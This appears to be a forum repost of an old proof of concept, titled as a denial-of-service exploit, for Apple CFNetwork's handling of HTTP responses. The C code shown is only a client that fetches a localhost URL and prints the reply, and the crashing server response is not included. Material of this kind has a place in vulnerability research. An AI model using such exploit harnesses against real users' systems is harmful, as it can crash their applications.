Apple CFNetwork HTTP Response Denial of Service Exploit (c code)
[code]// gcc MOAB-25-01-2007.c -o cfnet-http -framework Carbon
#import <CoreFoundation/CoreFoundation.h>
#import <Carbon/Carbon.h>
int main() {
SInt32 ret_code;
UInt8 *myPtr;
CFDataRef myData;
CFStringRef url = CFSTR("[url]http://localhost:8080/index.html[/url]");
printf("Requesting URL\n");
CFURLRef myURL = CFURLCreateWithString(kCFAllocatorDefault, url, NULL);
CFURLCreateDataAndPropertiesFromResource(kCFAllocatorDefault, myURL, &myData,
NULL, NULL, &ret_code);
if (myData != NULL) {
myPtr = (UInt8 *)CFDataGetBytePtr(myData);
printf("Data: %s\n", myPtr);
}
CFRelease(myURL);
CFRelease(url);
}
[/code]
页:
[1]